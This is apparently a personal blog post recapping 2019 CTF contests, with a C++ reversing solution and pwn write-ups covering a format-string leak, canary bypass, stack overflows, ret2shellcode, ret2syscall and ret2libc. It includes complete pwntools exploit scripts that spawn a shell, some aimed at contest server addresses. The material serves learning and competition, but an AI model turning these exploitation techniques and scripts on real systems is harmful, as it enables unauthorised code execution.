2019-04-17 | UNLOCK

2019-4-17-近期比赛总结

2019西湖论剑杯-re-easyCPP

这题的难点在对C++的STL容器的了解

1
2
3
4
5
6
7
8
9
10
std::vector<T> values;//创建存放T类型元素的vertor容器。
vector<T>(向量容器)是一个长度可变的序列,用来存放 T 类型的对象。必要时,可以自动增加容量,但只能在序列的末尾高效地增加或删除元素。
values.push_back();//在序列的末尾添加一个元素
back_inserter();//创建一个使用push_back的迭代器,把一个vector容器的元素按顺序传递给另一个vector
value.end();//指向value最后一个元素的下一个元素
value.begin();//指向value的第一个元素
value.back();//指向value的最后一个元素
transform();//可以将函数应用到序列的元素上,并将这个函数返回的值保存到另一个序列中,它返回的迭代器指向输出序列所保存的最后一个元素的下一个位置。
OutputIterator transform (InputIterator first1,InputIterator last1,OutputIterator result, UnaryOperation op);
对于一元操作,将op应用于[first1, last1]范围内的每个元素,并将每个操作返回的值存储在以result开头的范围内。给定的op将被连续调用last1-first1+1次。op可以是函数指针或函数对象或lambda表达式。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
v10 = argv;
v21 = __readfsqword(0x28u);
std::vector<int,std::allocator<int>>::vector((__int64)&v13);
std::vector<int,std::allocator<int>>::vector((__int64)&v14);
std::vector<int,std::allocator<int>>::vector((__int64)&v15);
std::vector<int,std::allocator<int>>::vector((__int64)&v16);
std::vector<int,std::allocator<int>>::vector((__int64)&v17);
for ( i = 0; i <= 15; ++i )
{
scanf("%d", &v20[4 * i], v10);
std::vector<int,std::allocator<int>>::push_back((__int64)&v14, (__int64)&v20[4 * i]);
}
for ( j = 0; j <= 15; ++j )
{
LODWORD(v19) = fib(j);
std::vector<int,std::allocator<int>>::push_back(&v13, &v19);
}
std::vector<int,std::allocator<int>>::push_back((__int64)&v15, (__int64)v20);
v3 = std::back_inserter<std::vector<int,std::allocator<int>>>((__int64)&v15);
v4 = std::vector<int,std::allocator<int>>::end((__int64)&v14);
v19 = std::vector<int,std::allocator<int>>::begin(&v14);
v5 = __gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator+(&v19, 1LL);
std::transform<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::back_insert_iterator<std::vector<int,std::allocator<int>>>,main::{lambda(int)#1}>(
v5,
v4,
v3,
(__int64)v20);
std::vector<int,std::allocator<int>>::vector((__int64)&v18);
std::vector<int,std::allocator<int>>::end((__int64)&v15);
std::vector<int,std::allocator<int>>::begin(&v15);
std::accumulate<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::vector<int,std::allocator<int>>,main::{lambda(std::vector<int,std::allocator<int>>,int)#2}>((unsigned __int64)&v19);
std::vector<int,std::allocator<int>>::operator=(&v16, &v19);
std::vector<int,std::allocator<int>>::~vector(&v19);
std::vector<int,std::allocator<int>>::~vector(&v18);
if ( (unsigned __int8)std::operator!=<int,std::allocator<int>>((__int64)&v16, (__int64)&v13) )
{
puts("You failed!");
exit(0);
}
std::back_inserter<std::vector<int,std::allocator<int>>>((__int64)&v17);
v6 = std::vector<int,std::allocator<int>>::end((__int64)&v14);
v7 = std::vector<int,std::allocator<int>>::begin(&v14);
std::copy_if<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::back_insert_iterator<std::vector<int,std::allocator<int>>>,main::{lambda(int)#3}>(v7);
puts("You win!");
printf("Your flag is:flag{", v6, v10);

整个流程大概就是先创建几个空的vector容器,然后一个容器存放输入的16个数字,然后一个容器存放斐波那契数列,用transform将除了第一个元素外的每一个元素加上第一个元素的值,然后都赋值给一个新的vector容器,之后用accumulate将函数倒序赋值给V19(这一步我看不懂,accumulate是用来计算累加值的,但是这里只用了v19一个参数就实现了倒序,这里纯粹看堆内数据才看出来是倒序),然后让v16=v19,最后比较V16和V13,v13就是斐波那契数列,如果相等就通过,不相等就不通过。
精简后的过程就是:输入16个数字,后面十五个数字都加上第一个数字,然后整个数列颠倒,最后和斐波那契数列比较。
由此构造需要输入的数组:
987
-377
-610
-754
-843
-898
-932
-953
-966
-974
-979
-982
-984
-985
-986
-986
就是颠倒的斐波那契数列,除第一个元素外,其它元素都要减去第一个元素。最后得到Your flag is:flag{987-377-843-953-979-985}

2019西湖论剑杯-pwn-store

基本格式化任意地址泄露和基本rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *ptr; // ST18_8
char *v4; // ST20_8

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
ptr = sub_400915();
v4 = sub_4009A0();
puts("Thank you for you share!!");
free(ptr);
free(v4);
return 0LL;
}

这是main函数,一开始被两个没有置NULL的free迷惑,以为是use after free,赛后经别人提醒才发现是格式化漏洞,当初没好好学,记成了printf里变量没有&才是格式化漏洞,实际只要printf里只有变量就存在格式化漏洞,格式化漏洞的大致原理就是直接printf(&s)的情况下,printf首先会检测变量内是否存在%,如果有就向后检测需要输出哪种类型的变量,比如人为构造s=”%s”,那么printf检测到%s,就会从栈内输出一个字符串类型的变量,相当于printf(“%s”,stack[0]),如果是%x或者%p就能泄露32位和64位系统的栈内值,%n$x中的n$代表偏移n个变量,由此可以实现栈内任意地址泄露。(但是0$的位置我一直没摸清楚,只能通过多泄露几个值对比栈内值得到偏移,但x32系统下一般是调用printf函数时栈内第2个位置)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
char *sub_400915()
{
char *v0; // ST08_8
char s; // [rsp+10h] [rbp-40h]
unsigned __int64 v3; // [rsp+48h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Please Tell Your ID:");
sub_400ABE((__int64)&s, 0x32uLL);
v0 = strdup(&s);
printf("Hello ", 50LL);
printf(&s);//格式化漏洞
putchar(10);
return v0;
}

因为这一题开了canary,所以需要泄露canary的值,然后在栈溢出的时候用已知的canary值覆盖就能绕过检测了,同一个进程内栈的canary都是相同的。
这里我先通过输入

1
%0$p%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p%9$p%10$p

确认printf参数在栈内的起始位置
avatar
avatar
可以看到%7$p对应的是0x7fffffffe078的0x603260
相应的%15$p%23$p就是canary的值,%25$p就是start+231的地址。
知道了canary的值和start+231的址,在之后的栈溢出中就是构造payload了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *sub_4009A0()
{
__int64 v1; // [rsp+0h] [rbp-A0h]
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v3; // [rsp+98h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Tell me the size of your story:");
v1 = sub_400A54();
if ( v1 < 0 )
v1 = -v1;
if ( v1 > 128 )
v1 = 1024LL;
puts("You can speak your story:");
sub_400ABE((__int64)&s, v1);
return strdup(&s);
}

可以看到s离rbp只有0x90,而v1是可以等于任意大小的,非常简单的栈溢出,我决定返回system,在失败了几次后我才想起来这是x64系统,函数的参数传递不再是用栈,而是用寄存器。

X64参数传递:
当参数少于7个时,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mov     edi, offset aYouCanSpeakYou ; "You can speak your story:"
call puts
mov rdx, [rbp+var_A0]
lea rax, [rbp+s]
mov rsi, rdx
mov rdi, rax
call sub_400ABE
lea rax, [rbp+s]
mov rdi, rax ; s
call strdup
mov [rbp+var_98], rax
mov rax, [rbp+var_98]
mov rcx, [rbp+var_8]
xor rcx, fs:28h
jz short locret_400A52
call __stack_chk_fail

通过阅读结尾的汇编,发现最后会把字符串s存进rax,然后mov rdi,rax。所以我们在输入s时需要先输入”/bin/sh\x00”
最后脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
s=process('./story')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

s.sendlineafter("ID:","%15$p%25$p")
a=s.recvuntil("0x")
b=s.recvuntil("0x")
c=s.recvuntil("b17")#因为程序引用的libc不变的话,低12位是不会变的,也就是start+231的结尾12个bit是固定的,在我的kali系统是固定b17,也可以根据这一点在https://libc.blukat.me/查看相应libc的版本
gdb.attach(s)
carry=int(b[0:-2],16)
start_addr=int(c,16)

print(libc.symbols['__libc_start_main'])
base_addr=start_addr-231-libc.symbols['__libc_start_main']
system_addr=base_addr+libc.symbols['__libc_system']
bin_addr=base_addr+0x17f573

payload="/bin/sh\x00"+'\x00'*8+'a'*0x78+p64(carry)+'a'*8+p64(system_addr)

s.sendlineafter("Tell me the size of your story:","-10000")
s.sendlineafter("You can speak your story:",payload)
s.interactive()

2019嘉韦思杯final-pwn-Bin

两题pwn只做出来了这一题基本的ret2shellcode,第二题的tcache之前没学过,这次比赛也让我意识到自己总是在重复做一些基本的堆栈溢出,能力已经很久没有提升了,而且密码学自己学了des后就停滞了,这次遇到了简单的AES却没能做出来,决定开始少参加比赛,多潜心学习,而不是继续浪费时间在那些简单题目上了。

这题唯一的难点在要注意到hint

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+1Ch] [ebp-64h]

init();
puts("**************************************");
puts("welcome to exploit train");
puts("**************************************");
read(0, &buf, 0x200u);
return puts("see you~~");
}

程序很简单,溢出buf就好了,而且什么保护都没开,直接shellcode就行了,但是因为不知道栈内地址,所以没办法返回shell code的起始地址,然后看到了之前忽略的放在main函数之前的hint函数

1
2
3
4
5
6
7
.text:080484ED hint            proc near
.text:080484ED ; __unwind {
.text:080484ED push ebp
.text:080484EE mov ebp, esp
.text:080484F0 jmp esp
.text:080484F0 hint endp
.text:080484F0

然后就明白了,利用这个函数,就可以让程序返回到栈顶(esp)
构造脚本

1
2
3
4
5
6
7
8
9
from pwn import *
sh=remote('172.20.3.35',9999)
#sh = process('./Bin')
shellcode = asm(shellcraft.i386.linux.sh())
#buf2_addr = 0x0804853b
hin_addr=0x080484ed
#gdb.attach(sh)
sh.sendline("a"*108+shellcode[0:4] + p32(hin_addr)+shellcode[4:])
sh.interactive()

DDCTF-pwn-xpwn

保护就开了NX栈不可执行,那就用ret2syscall
这题唯一比较有意思的是ret前的汇编跟别的题目稍微有点不同

1
2
3
4
5
6
.text:0804873A                 lea     esp, [ebp-8]
.text:0804873D pop ecx
.text:0804873E pop ebx
.text:0804873F pop ebp
.text:08048740 lea esp, [ecx-4]
.text:08048743 retn

这是main函数的结尾,可以看到先是esp=[ebp-8],接着pop ecx,然后esp=[ecx-4],也相当于ret前栈顶的值变成了[[ebp-8]-4]的值,所以我们要在ebp-0x8的位置填上ropchain_addr+4,这样栈顶会变成ropchain_addr+4的地址,然后被pop给ecx,最后再esp=[ecx-4]=[ropchain_addr+4-4]=[ropchain_addr],而地址ropchain_addr内就存放着exa_popret_addr的地址值,成功执行rop链。
解决了返回值的问题,还有一点就是如何泄露栈内的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int a1)
{
int v1; // eax
char buf; // [esp+0h] [ebp-4Ch]
size_t nbytes; // [esp+40h] [ebp-Ch]
int *v5; // [esp+44h] [ebp-8h]

v5 = &a1;
setbuf(stdout, 0);
sub_80485DB(stdin, stdout);//存在read栈泄露
sleep(1u);
printf("Please set the length of password: ");
nbytes = sub_804862D();
if ( (signed int)nbytes > 63 )//因为这里进行判断时nbyte是int型,而read读取时却是把它当作无符号的size_t,所以可以取负值造成栈溢出
{
puts("Too long!");
exit(1);
}
printf("Enter password(lenth %u): ", nbytes);
v1 = fileno(stdin);
read(v1, &buf, nbytes);//存在栈溢出
puts("All done, bye!");
return 0;
}

看题目,存在栈溢出,sub_80485DB内可以泄露栈内值

1
2
3
4
5
6
7
8
9
10
int __cdecl sub_80485DB(FILE *stream, FILE *a2)
{
int v2; // eax
char buf; // [esp+0h] [ebp-48h]

printf("Enter username: ");
v2 = fileno(stream);
read(v2, &buf, 0x40u);
return fprintf(a2, "Hello %s", &buf);
}

这里的read不会在字符串末尾自动加上\x00,所以fprintf输出buf时会把栈内值都一起读出来,遇到\x00才终止,经过几次调试,会发现40个字符后会泄露ebp和setbuf+21的地址值,这样一来就获得了栈地址,也能通过setbuf+21的地址值计算出libc的基址了
avatar

最后构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
def str_to_hex(s):
return ' '.join([hex(ord(c)).replace('0x', '') for c in s])
#remote
offset=0x65465
s=remote("116.85.48.105",5005)
s.sendlineafter("Enter username:",'a'*39)

bin_offset=0x15902b
eax_offset=0x00023f97
ebx_edx_offset=0xf1cba
ecx_offset=0xb4047
int80_offset=0x00002c87

a=s.recvuntil("He")
b=s.recv(64)
print hex(u32(b[-12:-8]))
print hex(u32(b[-8:-4]))

base_addr=u32(b[-8:-4])-offset
ropchain_addr=u32(b[-12:-8])
bin_addr=base_addr+bin_offset
eax_addr=base_addr+eax_offset
ebx_edx_addr=base_addr+ebx_edx_offset
ecx_addr=base_addr+ecx_offset
int80_addr=base_addr+int80_offset

s.sendlineafter("Please set the length of password:","-10")
s.sendlineafter(":",'a'*68+p32(ropchain_addr+4)+'a'*4+p32(eax_addr)+p32(0xb)+p32(ebx_edx_addr)+p32(bin_addr)+p32(0)+p32(ecx_addr)+p32(0)+p32(int80_addr))
s.interactive()

后来觉得rop链太长了,ret2libc也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
def str_to_hex(s):
return ' '.join([hex(ord(c)).replace('0x', '') for c in s])

offset=453205
context(log_level = 'debug', arch = 'i386', os = 'linux')

#local
s=process("./xpwn")
#gdb.attach(s)
s.sendlineafter("Enter username:",'a'*39)


#local-rop
system_offset=0x3d870
bin_offset=0x0017c968
'''
eax_offset=0x000255c7
ebx_offset=0x00019705
ecx_edx_offset=0x0002de3b
int80_offset=0x0002e185
'''

a=s.recvuntil("He")
b=s.recv(64)
print hex(u32(b[-12:-8]))
print hex(u32(b[-8:-4]))
base_addr=u32(b[-8:-4])-offset
ropchain_addr=u32(b[-12:-8])
bin_addr=base_addr+bin_offset
system_addr=base_addr+system_offset

payload='a'*68+p32(ropchain_addr+4)+'a'*4+p32(system_addr)+p32(0xb)+p32(bin_addr)

s.sendlineafter("Please set the length of password:","-1")
s.sendlineafter(":",payload)

s.interactive()

感冒10天好了之后现在开始潜心修炼安卓和密码学

评论加载中